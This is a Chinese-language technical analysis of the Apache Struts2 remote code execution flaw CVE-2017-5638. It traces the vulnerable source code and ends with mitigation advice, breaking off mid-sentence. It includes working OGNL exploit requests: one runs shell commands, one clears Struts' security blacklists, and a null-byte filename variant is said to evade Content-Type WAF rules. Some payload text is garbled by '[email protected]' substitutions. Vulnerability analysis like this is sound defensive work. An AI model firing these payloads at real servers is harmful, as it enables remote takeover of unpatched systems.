导语:三月初,安全研究人员发现世界上最流行的JavaWeb服务器框架之一-- Apache Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-046,CVE编号为:CVE-2017-5638)风险等级为高危漏洞。
三月初,安全研究人员发现世界上最流行的JavaWeb服务器框架之一– Apache Struts2存在远程代码执行的漏洞,Struts2官方已经确认该漏洞(S2-046,CVE编号为:CVE-2017-5638)风险等级为高危漏洞。
漏洞描述
该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过修改HTTP请求头中的Content-Type值,构造发送恶意的数据包,利用该漏洞进而在受影响服务器上执行任意系统命令。
漏洞利用条件和方式
黑客通过Jakarta 文件上传插件实现远程利用该漏洞执行代码。
漏洞影响范围
Struts 2.3.5 - Struts 2.3.31 Struts 2.5 - Struts 2.5.10
建议大家尽快升级到 Apache Struts 2.3.32 or 2.5.10.1
近日,我们对这个漏洞的执行代码进行了详细的分析,并对野外利用中的有效载荷进行了跟踪研究。除此之外,我们还提供了CVE-2017-5638运行的有效载荷,这是一个可以绕过只能检查请求内容类型的Web应用程序防火墙规则的备用漏洞利用向量。
对于不熟悉SSTI(服务端模板注入)概念的人员来说,这是一个注入攻击的典型例子。从模板引擎的原理可知,哪方实现的模板引擎,就依赖哪方。在server端实现模板引擎时,依赖server端。在客户端实现依赖客户端。
所以,只要在客户端实现一种模板解析方式(引擎),用来读取模板内容,分析并转为客户端可执行的程序源码,并运行,就可以脱离服务端,在浏览器端渲染页面,而不依赖服务端,这样的结果通常是模板引擎会允许任何形式的代码执行。对于许多流行的模板引擎,例如Freemarker,Smarty,Velocity,Jade等,通常可以在引擎之外执行远程代码执行(即产生系统shell)。在Struts的案例中,模板引擎就是使用诸如对象图导航语言(OGNL)的表达式语言来提供简单的模板功能。与OGNL的方法类似,模板引擎通常也可以在表达式语言之外获得远程代码执行。这些代码库提供了帮助缓解远程执行代码(如沙盒)的机制,但是默认情况下它们往往被禁用,或者简单地绕过。
从代码的角度来看,SSTI存在于应用程序中的最简单的条件是将用户输入传递到解析模板代码的函数中。将函数句柄值丢失是将各种注入漏洞引入到应用程序中的一种简单方法。要发现这样的漏洞,必须仔细追踪和分析调用堆栈和任何被感染的数据流。
这样才能充分了解CVE-2017-5638的工作原理,不过要真正了解漏洞的工作原理,我们还需要对库中的相关代码进行全面的分析。
我们通过捕获和记录CVE-2017-5638在运行时的异常代码进程,倒推出了次漏洞的工作原理。正如我们在下面的恶意代码再现中看到的那样,漏洞可以导致远程代码执行,在Apache公共上传库中parseRequest(request)解析出现异常,这是因为请求的内容类型与预期的有效字符串不匹配。我们还注意到,这个上传库引发的异常消息还包括HTTP请求中提供的无效内容类型头。这实际上是用用户输入来描述异常消息。
用户输入要求:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} Content-Length: 0
用户输入反应:
HTTP/1.1 200 OK Set-Cookie: JSESSIONID=16cuhw2qmanji1axbayhcp10kn;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Jetty(8.1.16.v20140903) Content-Length: 11 testwebuser
用户登录异常:
2017-03-24 13:44:39,625 WARN [qtp373485230-21] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:69) - Request exceeded size limit! org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is ${(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())} at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.(FileUploadBase.java:948) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:147) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:91) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10] [..snip..]
负责调用生成异常的parseRequest方法的调用者在一个名为JakartaMultiPartRequest的类中,JakartaMultiPartRequest作为围绕Apache commons fileupload库的包装器,定义了一个名为processUpload的方法,如下图所示,该方法在第91行调用了自己的parseRequest方法。该方法在第151行创建一个新的ServletFileUpload对象,并在第147行调用其parseRequest方法:
core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90: protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91: for (FileItem item : parseRequest(request, saveDir)) {92: LOG.debug("Found file item: [{}]", item.getFieldName());93: if (item.isFormField()) {94: processNormalFormField(item, request.getCharacterEncoding());95: } else {96: processFileField(item);97: }98: }99: }[..snip..]144: protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {145: DiskFileItemFactory fac = createDiskFileItemFactory(saveDir);146: ServletFileUpload upload = createServletFileUpload(fac);147: return upload.parseRequest(createRequestContext(servletRequest));148: }149: 150: protected ServletFileUpload createServletFileUpload(DiskFileItemFactory fac) {151: ServletFileUpload upload = new ServletFileUpload(fac);152: upload.setSizeMax(maxSize);153: return upload;154: }
查看 Stacktrace(堆栈轨迹),Stacktrace是一个非常有用的调试工具. 在未捕获的异常被抛出时(或者手动制造堆栈跟踪的时候),它会让我们看到调到的堆(在某一点调用方法的堆)。不仅显示出出现错误的地方,也显出程序在那个地方是如何结束的。我们可以看到processUpload方法由JakartaMultiPartRequest在第67行的解析方法调用。如下图所示,调用此方法的任何抛出的异常都在第68行被捕获,并传递给buildErrorMessage。虽然根据引发的异常的类调用processUpload方法可以有多个选择,但最终都要调用buildErrorMessage方法。在这种情况下,第75行调用buildErrorMessage方法:
core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:64: public void parse(HttpServletRequest request, String saveDir) throws IOException {65: try {66: setLocale(request);67: processUpload(request, saveDir);68: } catch (FileUploadException e) {69: LOG.warn("Request exceeded size limit!", e);70: LocalizedMessage errorMessage;71: if(e instanceof FileUploadBase.SizeLimitExceededException) {72: FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;73: errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});74: } else {75: errorMessage = buildErrorMessage(e, new Object[]{});76: }77:78: if (!errors.contains(errorMessage)) {79: errors.add(errorMessage);80: }81: } catch (Exception e) {82: LOG.warn("Unable to parse request", e);83: LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});84: if (!errors.contains(errorMessage)) {85: errors.add(errorMessage);86: }87: }88: }
由于JakartaMultiPartRequest类没有定义buildErrorMessage方法,所以我们要查看它扩展的类:AbstractMultiPartRequest:
core/src/main/java/org/apache/struts2/dispatcher/multipart/AbstractMultiPartRequest.java:98: protected LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {99: String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();100: LOG.debug("Preparing error message for key: [{}]", errorKey);101: 102: return new LocalizedMessage(this.getClass(), errorKey, e.getMessage(), args);103: }
它返回的LocalizedMessage定义了一个简单的类似容器的对象,其中textKey设置为struts.messages.upload.error.InvalidContentTypeException,defaultMessage被设置为用户输入感染的异常消息。
接下来在stacktrace中,我们可以看到JakartaMultiPartRequest的解析方法在第86行的MultiPartRequestWrapper的构造方法中被调用,在第88行调用的addError方法会检查是否已经看到错误,如果不是,它会将它添加到一个包含LocalizedMessage对象集合的实例变量中:
core/src/main/java/org/apache/struts2/dispatcher/multipart/MultiPartRequestWrapper.java:77: public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,78: String saveDir, LocaleProvider provider,79: boolean disableRequestAttributeValueStackLookup) {80: super(request, disableRequestAttributeValueStackLookup);[..snip..]85: try {86: multi.parse(request, saveDir);87: for (LocalizedMessage error : multi.getErrors()) {88: addError(error);89: }
在我们对堆栈进行轨迹跟踪的下一行,我们看到Dispatcher类负责实例化一个新的MultiPartRequestWrapper对象并调用上面的构造方法。这里调用的方法叫做wrapRequest,它负责检测请求的内容类型是否包含第801行的子串“multipart / form-data”,如果包含,则在第804行创建一个新的MultiPartRequestWrapper并返回:
core/src/main/java/org/apache/struts2/dispatcher/Dispatcher.java:794: public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {795: // don't wrap more than once796: if (request instanceof StrutsRequestWrapper) {797: return request;798: }799:800: String content_type = request.getContentType();801: if (content_type != null && content_type.contains("multipart/form-data")) {802: MultiPartRequest mpr = getMultiPartRequest();803: LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);804: request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);805: } else {806: request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);807: }808:809: return request;810: }
在我们分析的这个样本时,它的HTTP请求已被解析,我们的包裹请求对象(MultiPartRequestWrapper)持有一个错误(LocalizedMessage)和我们的默认消息,而一个textKey设置为struts.messages.upload.error.InvalidContentTypeException。
虽然堆栈轨迹的其余部分不能为我们继续跟踪数据流提供任何非常有用的帮助,但是,我们从中发现了一个线索, Struts通过一系列拦截器处理请求。事实证明,名为FileUploadInterceptor的拦截器是Struts配置的默认“堆栈”的一部分。
正如我们在第242行看到的,拦截器会检查我们的请求对象是否是MultiPartRequestWrapper类的实例。我们知道这是因为Dispatcher以前返回了这个类的一个实例,拦截器会继续检查MultiPartRequestWrapper对象是否在第261行出现错误。然后它在第264行调用LocalizedTextUtil的findText方法,传递几个参数,例如错误的textKey和我们的默认的defaultMessage:
core/src/main/java/org/apache/struts2/interceptor/FileUploadInterceptor.java:237: public String intercept(ActionInvocation invocation) throws Exception {238: ActionContext ac = invocation.getInvocationContext();239:240: HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);241:242: if (!(request instanceof MultiPartRequestWrapper)) {243: if (LOG.isDebugEnabled()) {244: ActionProxy proxy = invocation.getProxy();245: LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));246: }247:248: return invocation.invoke();249: }250:[..snip..]259: MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;260:261: if (multiWrapper.hasErrors()) {262: for (LocalizedMessage error : multiWrapper.getErrors()) {263: if (validation != null) {264: validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));265: }266: }267: }
LocalizedTextUtil的方法findText的一个版本被调用,它试图根据以下6个因素找到一个返回的错误信息:
aClassName设置为AbstractMultiPartRequest aTextName设置为错误的textKey,这是struts.messages.upload.error.InvalidContentTypeException。 区域设置设置为ActionContext的区域设置。 defaultMessage是我们作为字符串感染的异常消息。 Args是一个空数组。
valueStack设置为ActionContext的valueStack:
397: /**398: * <p>399: * Finds a localized text message for the given key, aTextName. Both the key and the message400: * itself is evaluated as required. The following algorithm is used to find the requested401: * message:402: * </p>403: *404: * <ol>405: * <li>Look for message in aClass' class hierarchy.406: * <ol>407: * <li>Look for the message in a resource bundle for aClass</li>408: * <li>If not found, look for the message in a resource bundle for any implemented interface</li>409: * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>410: * </ol></li>411: * <li>If not found and aClass is a {@link ModelDriven} Action, then look for message in412: * the model's class hierarchy (repeat sub-steps listed above).</li>413: * <li>If not found, look for message in child property. This is determined by evaluating414: * the message key as an OGNL expression. For example, if the key is415: * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an416: * object. If so, repeat the entire process fromthe beginning with the object's class as417: * aClass and "address.state" as the message key.</li>418: * <li>If not found, look for the message in aClass' package hierarchy.</li>419: * <li>If still not found, look for the message in the default resource bundles.</li>420: * <li>Return defaultMessage</li>421: * </ol>
因为未找到资源束定义struts.messages.upload.error.InvalidContentTypeException的错误消息,所以此过程最终将调用第573行上的getDefaultMessage方法:
core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:570: // get default571: GetDefaultMessageReturnArg result;572: if (indexedTextName == null) {573: result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);574: } else {575: result = getDefaultMessage(aTextName, locale, valueStack, args, null);576: if (result != null && result.message != null) {577: return result.message;578: }579: result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);580: }
同一个类中的getDefaultMessage方法负责最后一次尝试找到一个给定密钥和语言环境的错误消息。在我们的尝试过程中,getDefaultMessage方法尝试失败,并利用我们的异常消息,在第729行调用TextParseUtil的translateVariables方法:
core/src/main/java/com/opensymphony/xwork2/util/LocalizedTextUtil.java:714: private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,715: String defaultMessage) {716: GetDefaultMessageReturnArg result = null;717: boolean found = true;718:719: if (key != null) {720: String message = findDefaultText(key, locale);721:722: if (message == null) {723: message = defaultMessage;724: found = false; // not found in bundles725: }726:727: // defaultMessage may be null728: if (message != null) {729: MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);730:731: String msg = formatWithNullDetection(mf, args);732: result = new GetDefaultMessageReturnArg(msg, found);733: }734: }735:736: return result;737: }
事实证明,TextParseUtil的translateVariables方法是用于表达式语言评估的数据接收器。它通过评估包含在$ {…}和%{…}的实例中的OGNL表达式来提供简单的模板功能,定义并调用了几个版本的translateVariables方法,最后评估第166行的表达式:
core/src/main/java/com/opensymphony/xwork2/util/TextParseUtil.java:34: /**35: * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned36: * by a call to {@link ValueStack#findValue(java.lang.String)}. If an item cannot37: * be found on the stack (null is returned), then the entire variable ${...} is not38: * displayed, just as if the item was on the stack but returned an empty string.39: *40: * @param expression an expression that hasn't yet been translated41: * @param stack value stack42: * @return the parsed expression43: */44: public static String translateVariables(String expression, ValueStack stack) {45: return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();46: }[..snip..]152: public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {153:154: ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {155: public Object evaluate(String parsedValue) {156: Object o = stack.findValue(parsedValue, asType);157: if (evaluator != null && o != null) {158: o = evaluator.evaluate(o.toString());159: }160: return o;161: }162: };163:164: TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);165:166: return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);167: }
有了这个最后一个方法调用,我们就可以跟踪到用户输入的异常消息,一直到OGNL的评估。
大家可能会非常想知道漏洞的有效载荷是如何工作的。首先,我们尝试提供一个返回附加标题的简单OGNL有效载荷。我们需要在开头包含未使用的变量,以便Dispatcher检查“multipart / form-data”子串,并将我们的请求解析成文件上传。
用户输入要求:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))} Content-Length: 0
用户输入反应:
HTTP/1.1 200 OK Set-Cookie: JSESSIONID=1wq4m7r2pkjqfak2zaj4e12kn;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html [..snip..]
用户登录异常:
17-03-24 12:48:30,904 WARN [qtp18233895-25] ognl.SecurityMemberAccess (SecurityMemberAccess.java:74) - Package of target [[email protected]2] or package of member [public void javax.servlet.http.HttpServletResponseWrapper.addHeader(java.lang.String,java.lang.String)] are excluded!
事实证明,Struts提供了类成员访问的黑名单功能即类方法。默认情况下,使用以下类列表和正则表达式:
core/src/main/resources/struts-default.xml:41: <constant name="struts.excludedClasses"42: value="43: java.lang.Object,44: java.lang.Runtime,45: java.lang.System,46: java.lang.Class,47: java.lang.ClassLoader,48: java.lang.Shutdown,49: java.lang.ProcessBuilder,50: ognl.OgnlContext,51: ognl.ClassResolver,52: ognl.TypeConverter,53: ognl.MemberAccess,54: ognl.DefaultMemberAccess,55: com.opensymphony.xwork2.ognl.SecurityMemberAccess,56: com.opensymphony.xwork2.ActionContext">57: [..snip..]63: <constant name="struts.excludedPackageNames" value="java.lang.,ognl,
为了更好地了解原始的OGNL有效载荷,让我们尝试一个实际样本的载荷过程:
载荷要求:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1 Host: localhost:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}} Content-Length: 0
载荷效果:
HTTP/1.1 200 OK Set-Cookie: JSESSIONID=avmifel7x66q9cmnsrr8lq0s;Path=/struts2-showcase Expires: Thu, 01 Jan 1970 00:00:00 GMT X-Struts-Exploit-Test: GDSTEST Content-Type: text/html [..snip..]
我们可以看到,这确实有效。但是如何绕过我们之前看到的黑名单呢?
这个有效载荷是空的排除包名称和类的列表,从而使黑名单无用。它首先通过获取与OGNL上下文相关联的当前容器并将其分配给容器变量来实现。大家可能会注意到com.opensymphony.xwork2.ActionContext类包含在上面的黑名单中。那既然这样,怎么会躲避黑名单的捕获呢,因为我们没有引用类成员,而是通过OGNL值堆栈中已经存在的密钥(在core/src/main/java/com/opensymphony/xwork2/ActionContext.java:102中定义的)。我们的有效载荷已经利用了这个类的一个实例引用。
接下来,有效载荷获取容器的OgnlUtil实例允许我们调用返回当前排除的类和包名称的方法。最后一步是简单地清除每个黑名单并执行我们想要的任何无限制的评估。
一旦黑名单被清空,有效载荷也变空了,直到被代码覆盖和应用程序重新启动。我们还发现了一个常见的测试陷阱,当我们试图重现在野外发现的某些有效载荷或记录时,有些有效载荷无法工作,因为它们已经假设黑名单已经被清空,这可能是以前在不同有效载荷的测试期间发生的。这充分说明了运行动态测试时重置应用程序状态的重要性。
大家可能还注意到,使用的原始漏洞利用的有效载荷比我们所列举的样本有点复杂。比如,为什么会执行额外的步骤,例如检查_memberAccess变量并调用名为setMemberAccess的方法?我们猜想可能是尝试利用另一种技术来清除黑名单,以防第一种技术不起作用。使用MemberAcess类的默认实例调用setMemberAccess方法,该实例实际上也会清除黑名单。所以我们可以确认这种技术会在Struts 2.3.31中工作,而不是Struts 2.5.10。不过目前,我仍然不确定三元运算符的目的是检查和有条件地分配_memberAccess。在测试期间,我们没有观察到这个变量的评估。
从2.5.10开始,存在针对CVE-2017-5638的其他漏洞利用,这是因为任何不具有关联错误密钥的用户输入的异常消息将都被评估为OGNL。例如,提供带有空字节的上传文件名将导致从Apache commons fileupload库中抛出InvalidFileNameException异常。这也将绕过检查内容类型标头的Web应用程序防火墙规则,以下请求中的%00应首先进行URL解码,结果为用户输入的异常消息。
用户输入要求:
POST /struts2-showcase/ HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=---------------------------1313189278108275512788994811 Content-Length: 570 -----------------------------1313189278108275512788994811 Content-Disposition: form-data; name="upload"; filename="a%00${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}” Content-Type: text/html test -----------------------------1313189278108275512788994811--
用户输入反应:
HTTP/1.1 404 No result defined for action com.opensymphony.xwork2.ActionSupport and result input Set-Cookie: JSESSIONID=hu1m7hcdnixr1h14hn51vyzhy;Path=/struts2-showcase X-Struts-Exploit-Test: GDSTEST Content-Type: text/html;charset=ISO-8859-1 [..snip..]
用户登录异常:
2017-03-24 15:21:29,729 WARN [qtp1168849885-26] multipart.JakartaMultiPartRequest (JakartaMultiPartRequest.java:82) - Unable to parse request org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: a${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))} at org.apache.commons.fileupload.util.Streams.checkFileName(Streams.java:189) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.commons.fileupload.disk.DiskFileItem.getName(DiskFileItem.java:259) ~[commons-fileupload-1.3.2.jar:1.3.2] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField(JakartaMultiPartRequest.java:105) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:96) ~[struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:67) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.(MultiPartRequestWrapper.java:86) [struts2-core-2.5.10.jar:2.5.10] at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:806) [struts2-core-2.5.10.jar:2.5.10]
通过查看stacktrace可以看到,控制流在JakartaMultiPartRequest类的processUpload方法中发生偏差。当在第91行调用parseRequest方法时抛出异常,而不是在调用processFileField方法并获取105行文件项的名称时抛出异常:
core/src/main/java/org/apache/struts2/dispatcher/multipart/JakartaMultiPartRequest.java:90: protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {91: for (FileItem item : parseRequest(request, saveDir)) {92: LOG.debug("Found file item: [{}]", item.getFieldName());93: if (item.isFormField()) {94: processNormalFormField(item, request.getCharacterEncoding());95: } else {96: processFileField(item);97: }98: }99: }[..snip..]101: protected void processFileField(FileItem item) {102: LOG.debug("Item is a file upload");103: 104: // Skip file uploads that don't have a file name - meaning that no file was selected.105: if (item.getName() == null || item.getName().trim().length() < 1) {106: LOG.debug("No file has been uploaded for the field: {}", item.getFieldName());107: return;108: }109: 110: List<FileItem> values;111: if (files.get(item.getFieldName()) != null) {112: values = files.get(item.getFieldName());113: } else {114: values = new ArrayList<>();115: }116: 117: values.add(item);118: files.put(item.getFieldName(), values);119: }
总结
我们从这项研究中得到的一个收获就是,不能总是依赖于查看CVE描述来了解漏洞的工作原理。比如,CVE-2017-5638存在的可能原因是因为文件上传时,拦截器尝试使用评估OGNL的潜在危险函数来解决错误消息。因此,这不是Jakarta请求包装器的问题,正如CVE描述的那样,但是文件上传时拦截器信任该异常的消息将不会被用户输入。
检测与修复方案
如果您的设备已经检测出存在Struts2漏洞,根据您的具体情况有以下三种解决方式:
1.官方解决方案
官方已经发布版本更新,尽快升级到不受影响的版本(Struts 2.3.32或Struts 2.5.10.1),建议在升级前做好数据备份。
Struts 2.3.32 下载地址,
Struts 2.5.10.1下载地址。
2.临时修复方案
在用户不便进行升级的情况下,作为临时的解决方案,用户可以进行以下操作来规避风险:
在WEB-INF/classes目录下的struts.xml 中的struts 标签下添加
<constant name="struts.custom.i18n.resources" value="global" />
在WEB-INF/classes/ 目录下添加 global.properties,文件内容如下:
struts.messages.upload.error.InvalidContentTypeException=1
配置过滤器过滤Content-Type的内容,在web应用的web.xml中配置过滤器,在过滤器中对Content-Type内容的合法性进行检测: